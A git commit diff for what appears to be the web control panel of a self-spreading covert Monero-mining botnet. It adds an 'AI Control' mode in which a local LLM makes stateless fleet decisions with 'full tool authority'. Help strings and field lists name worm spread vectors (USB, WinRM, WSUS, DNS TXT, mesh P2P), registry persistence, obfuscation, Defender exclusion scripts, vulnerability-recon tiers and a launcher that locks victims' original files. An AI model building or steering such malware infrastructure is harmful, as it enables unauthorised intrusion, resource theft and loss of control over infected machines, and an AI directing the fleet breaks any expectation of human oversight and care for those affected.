Add Calibrate AI Control UI and fleet LLM backend wiring.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Operators toggle Logic gates vs AI Control on Settings, refresh local Ollama models, and save ai_endpoint settings via Calibrate PUT; server scheduler and agent snapshot/command paths support stateless 60s fleet decisions.
This commit is contained in:
@@ -237,6 +237,7 @@ describe('api client', () => {
|
||||
.mockResolvedValueOnce(jsonResponse([]))
|
||||
.mockResolvedValueOnce(jsonResponse([]))
|
||||
.mockResolvedValueOnce(jsonResponse([]))
|
||||
.mockResolvedValueOnce(jsonResponse({ models: ['llama3.2'] }))
|
||||
.mockResolvedValueOnce(jsonResponse({ xmr_per_day: 0.01, usd_per_day: 1, network_hashrate: 1 }))
|
||||
.mockResolvedValueOnce(jsonResponse({ success: true }))
|
||||
.mockResolvedValueOnce(jsonResponse({ agent_id: 'a1', content: 'log' }))
|
||||
@@ -253,6 +254,9 @@ describe('api client', () => {
|
||||
await api.getAIActivity();
|
||||
expect(lastFetch().url).toBe('/api/v1/ai/activity');
|
||||
|
||||
await api.getAIModels('http://127.0.0.1:11434/v1');
|
||||
expect(lastFetch().url).toBe('/api/v1/ai/models?endpoint=http%3A%2F%2F127.0.0.1%3A11434%2Fv1');
|
||||
|
||||
await api.getEarningsEstimate(1234.5);
|
||||
expect(lastFetch().url).toBe('/api/v1/earnings/estimate?hashrate=1234.5');
|
||||
|
||||
|
||||
176
server/web/src/components/CalibrationAIControl.tsx
Normal file
176
server/web/src/components/CalibrationAIControl.tsx
Normal file
@@ -0,0 +1,176 @@
|
||||
import { useState } from 'react';
|
||||
import type { ServerSettings } from '../types';
|
||||
import { api } from '../api/client';
|
||||
import { HelpTip, FieldHint } from './HelpTip';
|
||||
import { ADAPTIVE_STRATEGY_HELP } from '../help/lotlOnionTiers';
|
||||
|
||||
export const DEFAULT_AI_LOCAL_ENDPOINT = 'http://127.0.0.1:11434/v1';
|
||||
export const DEFAULT_AI_INTERVAL_SEC = 60;
|
||||
|
||||
function readEndpoint(server: ServerSettings): string {
|
||||
return server.ai_endpoint?.trim() || server.ai_local_endpoint?.trim() || DEFAULT_AI_LOCAL_ENDPOINT;
|
||||
}
|
||||
|
||||
function readIntervalSec(server: ServerSettings): number {
|
||||
return server.ai_decision_interval_sec ?? server.ai_interval_sec ?? DEFAULT_AI_INTERVAL_SEC;
|
||||
}
|
||||
|
||||
interface Props {
|
||||
server: ServerSettings;
|
||||
onUpdate: (path: string, value: unknown) => void;
|
||||
}
|
||||
|
||||
export default function CalibrationAIControl({ server, onUpdate }: Props) {
|
||||
const aiControl = server.ai_control_enabled ?? false;
|
||||
const endpoint = readEndpoint(server);
|
||||
const model = server.ai_model?.trim() || '';
|
||||
const intervalSec = readIntervalSec(server);
|
||||
|
||||
const [models, setModels] = useState<string[]>([]);
|
||||
const [refreshing, setRefreshing] = useState(false);
|
||||
const [modelsMsg, setModelsMsg] = useState('');
|
||||
|
||||
const handleRefreshModels = async () => {
|
||||
setRefreshing(true);
|
||||
setModelsMsg('');
|
||||
try {
|
||||
const res = await api.getAIModels(endpoint);
|
||||
setModels(res.models ?? []);
|
||||
if (!res.models?.length) {
|
||||
setModelsMsg(res.error || 'No models returned — is Ollama running?');
|
||||
} else {
|
||||
setModelsMsg(`${res.models.length} model(s) loaded`);
|
||||
if (!model && res.models[0]) {
|
||||
onUpdate('server.ai_model', res.models[0]);
|
||||
}
|
||||
}
|
||||
} catch (e) {
|
||||
setModels([]);
|
||||
setModelsMsg(e instanceof Error ? e.message : 'Failed to refresh models');
|
||||
} finally {
|
||||
setRefreshing(false);
|
||||
}
|
||||
};
|
||||
|
||||
return (
|
||||
<div className="calibration-ai-control">
|
||||
<div
|
||||
className="calibration-mode-toggle"
|
||||
role="group"
|
||||
aria-label="Calibration control mode"
|
||||
>
|
||||
<button
|
||||
type="button"
|
||||
className={`calibration-mode-btn ${!aiControl ? 'calibration-mode-btn--active' : ''}`}
|
||||
aria-pressed={!aiControl}
|
||||
onClick={() => onUpdate('server.ai_control_enabled', false)}
|
||||
>
|
||||
<span className="calibration-mode-label">Logic gates</span>
|
||||
<span className="calibration-mode-sub">Adaptive strategy & tier chains</span>
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
className={`calibration-mode-btn ${aiControl ? 'calibration-mode-btn--active' : ''}`}
|
||||
aria-pressed={aiControl}
|
||||
onClick={() => onUpdate('server.ai_control_enabled', true)}
|
||||
>
|
||||
<span className="calibration-mode-label">AI Control</span>
|
||||
<span className="calibration-mode-sub">Local LLM fleet decisions</span>
|
||||
</button>
|
||||
</div>
|
||||
|
||||
{aiControl ? (
|
||||
<div className="calibration-ai-panel">
|
||||
<p className="section-desc calibration-ai-blurb">
|
||||
Fleet AI issues <strong>stateless</strong> decisions every {intervalSec}s per agent — no memory
|
||||
between cycles. The control server calls your local LLM; agents execute tool calls on{' '}
|
||||
<em>your</em> machines only. Complete fleet control stays on your LAN.
|
||||
</p>
|
||||
|
||||
<div className="form-group">
|
||||
<label htmlFor="cal-ai-endpoint" className="label">
|
||||
Local API URL <HelpTip field="ai_local_endpoint" />
|
||||
</label>
|
||||
<input
|
||||
id="cal-ai-endpoint"
|
||||
type="url"
|
||||
className="input mono"
|
||||
value={endpoint}
|
||||
placeholder={DEFAULT_AI_LOCAL_ENDPOINT}
|
||||
onChange={(e) => onUpdate('server.ai_endpoint', e.target.value)}
|
||||
/>
|
||||
<FieldHint field="ai_local_endpoint" />
|
||||
</div>
|
||||
|
||||
<div className="form-row calibration-ai-model-row">
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-outline btn-sm"
|
||||
disabled={refreshing}
|
||||
onClick={handleRefreshModels}
|
||||
>
|
||||
{refreshing ? 'Refreshing…' : 'Refresh models'}
|
||||
</button>
|
||||
<div className="form-group" style={{ flex: 1, margin: 0 }}>
|
||||
<label htmlFor="cal-ai-model" className="label">
|
||||
Model <HelpTip field="calibration_ai_model" />
|
||||
</label>
|
||||
<select
|
||||
id="cal-ai-model"
|
||||
className="input"
|
||||
value={model}
|
||||
onChange={(e) => onUpdate('server.ai_model', e.target.value)}
|
||||
>
|
||||
<option value="">{models.length ? 'Select a model…' : 'Refresh models first'}</option>
|
||||
{model && !models.includes(model) && (
|
||||
<option value={model}>{model}</option>
|
||||
)}
|
||||
{models.map((m) => (
|
||||
<option key={m} value={m}>{m}</option>
|
||||
))}
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
{modelsMsg && (
|
||||
<p className="form-hint calibration-ai-models-msg">{modelsMsg}</p>
|
||||
)}
|
||||
|
||||
<div className="calibration-ai-meta">
|
||||
<div className="calibration-ai-info-chip">
|
||||
<span className="font-tech">ai_no_context</span>
|
||||
<span className="calibration-ai-info-value">always on</span>
|
||||
<HelpTip field="ai_no_context" />
|
||||
</div>
|
||||
<div className="calibration-ai-info-chip">
|
||||
<span className="font-tech">Interval</span>
|
||||
<span className="calibration-ai-info-value">{intervalSec}s per agent</span>
|
||||
<HelpTip field="ai_interval_sec" />
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
) : (
|
||||
<div className="calibration-logic-panel">
|
||||
<p className="section-desc">{ADAPTIVE_STRATEGY_HELP}</p>
|
||||
<FieldHint field="adaptive_strategy" />
|
||||
<FieldHint field="lotl_onion_tiers" />
|
||||
<div className="form-group checkbox-group" style={{ marginTop: '1rem' }}>
|
||||
<label className="checkbox-label">
|
||||
<input
|
||||
type="checkbox"
|
||||
className="checkbox"
|
||||
checked={server.adaptive_strategy_enabled !== false}
|
||||
onChange={(e) => onUpdate('server.adaptive_strategy_enabled', e.target.checked)}
|
||||
/>
|
||||
<span>Enable adaptive strategy engine <HelpTip field="adaptive_strategy" /></span>
|
||||
</label>
|
||||
</div>
|
||||
{server.lotl_onion_tiers?.length ? (
|
||||
<p className="form-hint" style={{ marginTop: '0.75rem' }}>
|
||||
Spread tier order: <code className="mono-sm">{server.lotl_onion_tiers.join(' → ')}</code>
|
||||
</p>
|
||||
) : null}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -18,6 +18,8 @@ const HELP_TIP_FIELDS = [
|
||||
'registry_run_hklm', 'registry_explorer_run', 'fusion_enabled', 'fusion_prep',
|
||||
'fusion_media_mode', 'fusion_batch', 'fusion_run_order', 'fusion_output_name',
|
||||
'obfuscate', 'sign_build', 'sigil_scramble', 'ai_enabled', 'ai_ollama_endpoint', 'ai_model',
|
||||
'calibration_ai_control', 'ai_local_endpoint', 'calibration_ai_model', 'ai_no_context', 'ai_interval_sec',
|
||||
'adaptive_strategy', 'lotl_onion_tiers',
|
||||
'forge_operation_mode', 'forge_path_forge',
|
||||
'mesh_p2p', 'auto_spread', 'hole_punch', 'remote_aggressive', 'usb_spread', 'share_spread',
|
||||
'winrm_spread', 'dns_txt_spread', 'webrtc_mesh_spread', 'wsus_cache_peer_spread',
|
||||
|
||||
@@ -82,6 +82,13 @@ export const DOC_ANCHORS: Record<string, string> = {
|
||||
ai_enabled: '/docs/#alerts-ai',
|
||||
ai_ollama_endpoint: '/docs/#alerts-ai',
|
||||
ai_model: '/docs/#alerts-ai',
|
||||
calibration_ai_control: '/docs/#alerts-ai',
|
||||
ai_local_endpoint: '/docs/#alerts-ai',
|
||||
calibration_ai_model: '/docs/#alerts-ai',
|
||||
ai_no_context: '/docs/#alerts-ai',
|
||||
ai_interval_sec: '/docs/#alerts-ai',
|
||||
adaptive_strategy: '/docs/SPREAD_TECHNIQUES.html#lotl-tier-vuln_recon',
|
||||
lotl_onion_tiers: '/docs/SPREAD_TECHNIQUES.html#lotl-tier-vuln_recon',
|
||||
|
||||
// Crucible / agent remote
|
||||
firewall_remote: '/docs/#crucible-ops',
|
||||
|
||||
@@ -96,6 +96,11 @@ describe('FIELD_HELP', () => {
|
||||
'log_pool_traffic',
|
||||
'adapt_to_hardware',
|
||||
'adaptive_strategy',
|
||||
'calibration_ai_control',
|
||||
'ai_local_endpoint',
|
||||
'calibration_ai_model',
|
||||
'ai_no_context',
|
||||
'ai_interval_sec',
|
||||
'self_healing',
|
||||
'firewall_exclusion',
|
||||
'firewall_remote',
|
||||
|
||||
@@ -29,9 +29,19 @@ export const FIELD_HELP: Record<string, string> = {
|
||||
forge_lotl_onion:
|
||||
'LOTL Onion preset: in-process RandomX (same XMR wallet field), no GPU exe drop, ordered vuln recon→GPO spread contingencies. When lotl_policy_from_server is on, tier order is pulled from Calibrate server config on agent auth — re-forge not required to reorder tiers.',
|
||||
adaptive_strategy:
|
||||
'Fleet adaptive strategy learns LOTL mining tier order from your own machines (OS, Docker/WSL probes, subnet, hashrate outcomes). On connect the server pushes a personalized tier walk with strategy_reasoning bullets before the agent tries the default onion. Overrides order/skip hints only — not wallet or patch_first gates. Toggle with server.adaptive_strategy_enabled (default on).',
|
||||
'Fleet adaptive strategy learns LOTL mining tier order from your own machines (OS, Docker/WSL probes, subnet, hashrate outcomes). On connect the server pushes a personalized tier walk with strategy_reasoning bullets before the agent tries the default onion. Overrides order/skip hints only — not wallet or patch_first gates. Toggle with server.adaptive_strategy_enabled (default on). When server.ai_control_enabled is on, Fleet AI Control replaces adaptive strategy for tier decisions.',
|
||||
lotl_onion_tiers:
|
||||
'Ordered spread contingency chain for LOTL Onion forges with lotl_policy_from_server. Mining tier order is separate (mining_tier_policy / adaptive_strategy). Spread tiers apply on reconnect without re-forge; adaptive strategy can reorder mining tiers proactively from fleet stats.',
|
||||
calibration_ai_control:
|
||||
'Calibrate control mode: Logic gates use weighted adaptive strategy + server lotl_onion_tiers. AI Control routes fleet decisions through a local LLM on this control PC every 60s per agent — stateless, no memory, full tool authority on your machines only.',
|
||||
ai_local_endpoint:
|
||||
'Local OpenAI-compatible or Ollama API base URL on the control server machine (default http://127.0.0.1:11434/v1). The hub lists models and calls the LLM — workers never talk to Ollama directly.',
|
||||
calibration_ai_model:
|
||||
'LLM model name for fleet AI Control (Calibrate). Click Refresh models after Ollama is running, then pick from the dropdown. Distinct from per-forge ai_model baked into installers.',
|
||||
ai_no_context:
|
||||
'Stateless AI mode — each 60s cycle sends only the current agent snapshot. No chat history or cross-agent memory is retained (always on for fleet safety).',
|
||||
ai_interval_sec:
|
||||
'Seconds between AI decision cycles per connected agent when AI Control is enabled. Default 60 — matches agent heartbeat cadence.',
|
||||
forge_path_forge:
|
||||
'Server-side recursive batch seed: enter a folder path and the server walks it, placing a launcher next to every matching file without uploading anything. Lock Original renames the source so only the companion launcher can open it — it re-locks after playback.',
|
||||
forge_recommended_defaults:
|
||||
|
||||
@@ -1300,6 +1300,102 @@ button.deliverable-card .form-hint {
|
||||
margin-right: 4px;
|
||||
}
|
||||
|
||||
/* Calibrate — Logic gates ↔ AI Control */
|
||||
.calibration-mode-toggle {
|
||||
display: grid;
|
||||
grid-template-columns: 1fr 1fr;
|
||||
gap: 0.65rem;
|
||||
margin: 1rem 0 1.25rem;
|
||||
}
|
||||
|
||||
.calibration-mode-btn {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: flex-start;
|
||||
gap: 0.35rem;
|
||||
padding: 1rem 1.15rem;
|
||||
border-radius: 10px;
|
||||
border: 1px solid var(--border-brass);
|
||||
background: rgba(10, 10, 18, 0.65);
|
||||
color: var(--text-secondary);
|
||||
cursor: pointer;
|
||||
text-align: left;
|
||||
transition: border-color 0.2s ease, box-shadow 0.2s ease, background 0.2s ease;
|
||||
}
|
||||
|
||||
.calibration-mode-btn:hover {
|
||||
border-color: rgba(0, 232, 245, 0.35);
|
||||
background: rgba(0, 232, 245, 0.04);
|
||||
}
|
||||
|
||||
.calibration-mode-btn--active {
|
||||
border-color: rgba(232, 40, 168, 0.55);
|
||||
background: linear-gradient(145deg, rgba(232, 40, 168, 0.12) 0%, rgba(0, 232, 245, 0.06) 100%);
|
||||
color: var(--text-primary);
|
||||
box-shadow: 0 0 24px rgba(232, 40, 168, 0.15);
|
||||
}
|
||||
|
||||
.calibration-mode-label {
|
||||
font-family: var(--font-tech);
|
||||
font-size: 1.05rem;
|
||||
letter-spacing: 0.06em;
|
||||
text-transform: uppercase;
|
||||
color: var(--neon-cyan);
|
||||
}
|
||||
|
||||
.calibration-mode-btn--active .calibration-mode-label {
|
||||
color: var(--neon-magenta);
|
||||
}
|
||||
|
||||
.calibration-mode-sub {
|
||||
font-size: 0.88rem;
|
||||
line-height: 1.35;
|
||||
}
|
||||
|
||||
.calibration-ai-model-row {
|
||||
align-items: flex-end;
|
||||
gap: 0.75rem;
|
||||
margin-top: 0.75rem;
|
||||
}
|
||||
|
||||
.calibration-ai-meta {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: 0.65rem;
|
||||
margin-top: 1rem;
|
||||
}
|
||||
|
||||
.calibration-ai-info-chip {
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
gap: 0.45rem;
|
||||
padding: 0.45rem 0.75rem;
|
||||
border-radius: 8px;
|
||||
border: 1px solid var(--border-neon);
|
||||
background: rgba(0, 232, 245, 0.05);
|
||||
font-size: 0.85rem;
|
||||
}
|
||||
|
||||
.calibration-ai-info-chip .font-tech {
|
||||
color: var(--neon-amber);
|
||||
font-size: 0.78rem;
|
||||
}
|
||||
|
||||
.calibration-ai-info-value {
|
||||
color: var(--neon-green);
|
||||
}
|
||||
|
||||
.calibration-ai-models-msg {
|
||||
margin-top: 0.35rem;
|
||||
color: var(--text-secondary);
|
||||
}
|
||||
|
||||
@media (max-width: 640px) {
|
||||
.calibration-mode-toggle {
|
||||
grid-template-columns: 1fr;
|
||||
}
|
||||
}
|
||||
|
||||
.forge-simple-banner {
|
||||
margin-bottom: 1rem;
|
||||
padding: 1rem 1.25rem;
|
||||
|
||||
@@ -173,6 +173,51 @@ describe('SettingsPage (Calibrate)', () => {
|
||||
expect(saved?.server?.public_builds_latest_n).toBe(3);
|
||||
});
|
||||
|
||||
it('renders Calibration Control mode toggle', async () => {
|
||||
renderSettings();
|
||||
expect(await screen.findByRole('group', { name: 'Calibration control mode' })).toBeInTheDocument();
|
||||
expect(screen.getByRole('button', { name: /Logic gates/i })).toBeInTheDocument();
|
||||
expect(screen.getByRole('button', { name: /AI Control/i })).toBeInTheDocument();
|
||||
expect(screen.getByText(/Adaptive strategy & tier chains/i)).toBeInTheDocument();
|
||||
expect(screen.getByText(/Enable adaptive strategy engine/i)).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('switches to AI Control and refreshes models', async () => {
|
||||
const modelsSpy = vi.spyOn(api, 'getAIModels').mockResolvedValue({
|
||||
models: ['llama3.2', 'mistral'],
|
||||
endpoint: 'http://127.0.0.1:11434/v1',
|
||||
});
|
||||
const user = userEvent.setup();
|
||||
renderSettings();
|
||||
await screen.findByRole('button', { name: /AI Control/i });
|
||||
await user.click(screen.getByRole('button', { name: /AI Control/i }));
|
||||
expect(screen.getByPlaceholderText('http://127.0.0.1:11434/v1')).toBeInTheDocument();
|
||||
expect(screen.getByText(/ai_no_context/i)).toBeInTheDocument();
|
||||
expect(screen.getAllByText(/60s per agent/i).length).toBeGreaterThanOrEqual(1);
|
||||
await user.click(screen.getByRole('button', { name: 'Refresh models' }));
|
||||
await waitFor(() => {
|
||||
expect(modelsSpy).toHaveBeenCalledWith('http://127.0.0.1:11434/v1');
|
||||
});
|
||||
expect(await screen.findByText('2 model(s) loaded')).toBeInTheDocument();
|
||||
const modelSelect = screen.getByRole('combobox', { name: /Model/i }) as HTMLSelectElement;
|
||||
expect(modelSelect.value).toBe('llama3.2');
|
||||
});
|
||||
|
||||
it('saves AI Control settings via updateConfig', async () => {
|
||||
const user = userEvent.setup();
|
||||
renderSettings();
|
||||
await screen.findByRole('button', { name: /AI Control/i });
|
||||
await user.click(screen.getByRole('button', { name: /AI Control/i }));
|
||||
await user.click(screen.getByRole('button', { name: /save calibration/i }));
|
||||
await waitFor(() => {
|
||||
expect(api.updateConfig).toHaveBeenCalled();
|
||||
});
|
||||
const saved = vi.mocked(api.updateConfig).mock.calls.at(-1)?.[0];
|
||||
expect(saved?.server?.ai_control_enabled).toBe(true);
|
||||
expect(saved?.server?.ai_endpoint).toBe('http://127.0.0.1:11434/v1');
|
||||
expect(saved?.server?.ai_no_context).toBe(true);
|
||||
});
|
||||
|
||||
it('describes first-run admin credentials in Access Control help', async () => {
|
||||
renderSettings();
|
||||
expect(
|
||||
|
||||
@@ -34,6 +34,10 @@ import {
|
||||
buildDefenderExclusionScript,
|
||||
defaultWindowsInstallPreview,
|
||||
} from '../help/defenderExclusion';
|
||||
import CalibrationAIControl, {
|
||||
DEFAULT_AI_INTERVAL_SEC,
|
||||
DEFAULT_AI_LOCAL_ENDPOINT,
|
||||
} from '../components/CalibrationAIControl';
|
||||
|
||||
/** Recursively merge `override` into `base`, preserving keys not in `override`. */
|
||||
export function deepMerge<T extends object>(base: T, override: Partial<T>): T {
|
||||
@@ -182,7 +186,25 @@ export default function SettingsPage() {
|
||||
setSaving(true);
|
||||
setSaveMessage('');
|
||||
try {
|
||||
const updated = await api.updateConfig(config);
|
||||
let payload = config;
|
||||
if (config.server?.ai_control_enabled) {
|
||||
payload = {
|
||||
...config,
|
||||
server: {
|
||||
...config.server,
|
||||
ai_endpoint:
|
||||
config.server.ai_endpoint?.trim()
|
||||
|| config.server.ai_local_endpoint?.trim()
|
||||
|| DEFAULT_AI_LOCAL_ENDPOINT,
|
||||
ai_no_context: true,
|
||||
ai_decision_interval_sec:
|
||||
config.server.ai_decision_interval_sec
|
||||
?? config.server.ai_interval_sec
|
||||
?? DEFAULT_AI_INTERVAL_SEC,
|
||||
},
|
||||
};
|
||||
}
|
||||
const updated = await api.updateConfig(payload);
|
||||
setConfig(updated);
|
||||
setSaveMessage('Calibration saved — control server updated.');
|
||||
setTimeout(() => setSaveMessage(''), 4000);
|
||||
@@ -538,6 +560,20 @@ export default function SettingsPage() {
|
||||
)}
|
||||
</NeonCard>
|
||||
|
||||
<NeonCard accent="magenta" className="settings-section operator-deck-card operator-interactive calibration-ai-section" style={{ marginBottom: '1rem' }}>
|
||||
<h2 className="font-display">
|
||||
Calibration Control <HelpTip field="calibration_ai_control" />
|
||||
</h2>
|
||||
<p className="section-desc">
|
||||
Choose how the server steers fleet behavior — weighted logic gates or a local LLM loop.
|
||||
</p>
|
||||
<CalibrationAIControl
|
||||
server={s}
|
||||
onUpdate={updateField}
|
||||
/>
|
||||
<FieldHint field="calibration_ai_control" />
|
||||
</NeonCard>
|
||||
|
||||
<div className="settings-grid">
|
||||
<NeonCard accent="cyan" className="settings-section operator-deck-card operator-interactive">
|
||||
<h2 className="font-display">Deck Atmosphere</h2>
|
||||
|
||||
@@ -302,12 +302,16 @@ export interface ServerSettings {
|
||||
/** When true, Calibrate uses local LLM fleet control instead of logic gates. */
|
||||
ai_control_enabled?: boolean;
|
||||
/** OpenAI-compatible or Ollama base URL on the control PC. */
|
||||
ai_endpoint?: string;
|
||||
/** @deprecated Alias hydrated from legacy saves — prefer ai_endpoint. */
|
||||
ai_local_endpoint?: string;
|
||||
/** LLM model name for fleet AI control. */
|
||||
ai_model?: string;
|
||||
/** Stateless per-cycle decisions — no conversation memory. */
|
||||
ai_no_context?: boolean;
|
||||
/** Seconds between AI decision cycles per agent. */
|
||||
ai_decision_interval_sec?: number;
|
||||
/** @deprecated Alias hydrated from legacy saves — prefer ai_decision_interval_sec. */
|
||||
ai_interval_sec?: number;
|
||||
/** Triple onion recon/deploy gates pushed to agents at auth. */
|
||||
triple_onion_policy?: {
|
||||
|
||||
Reference in New Issue
Block a user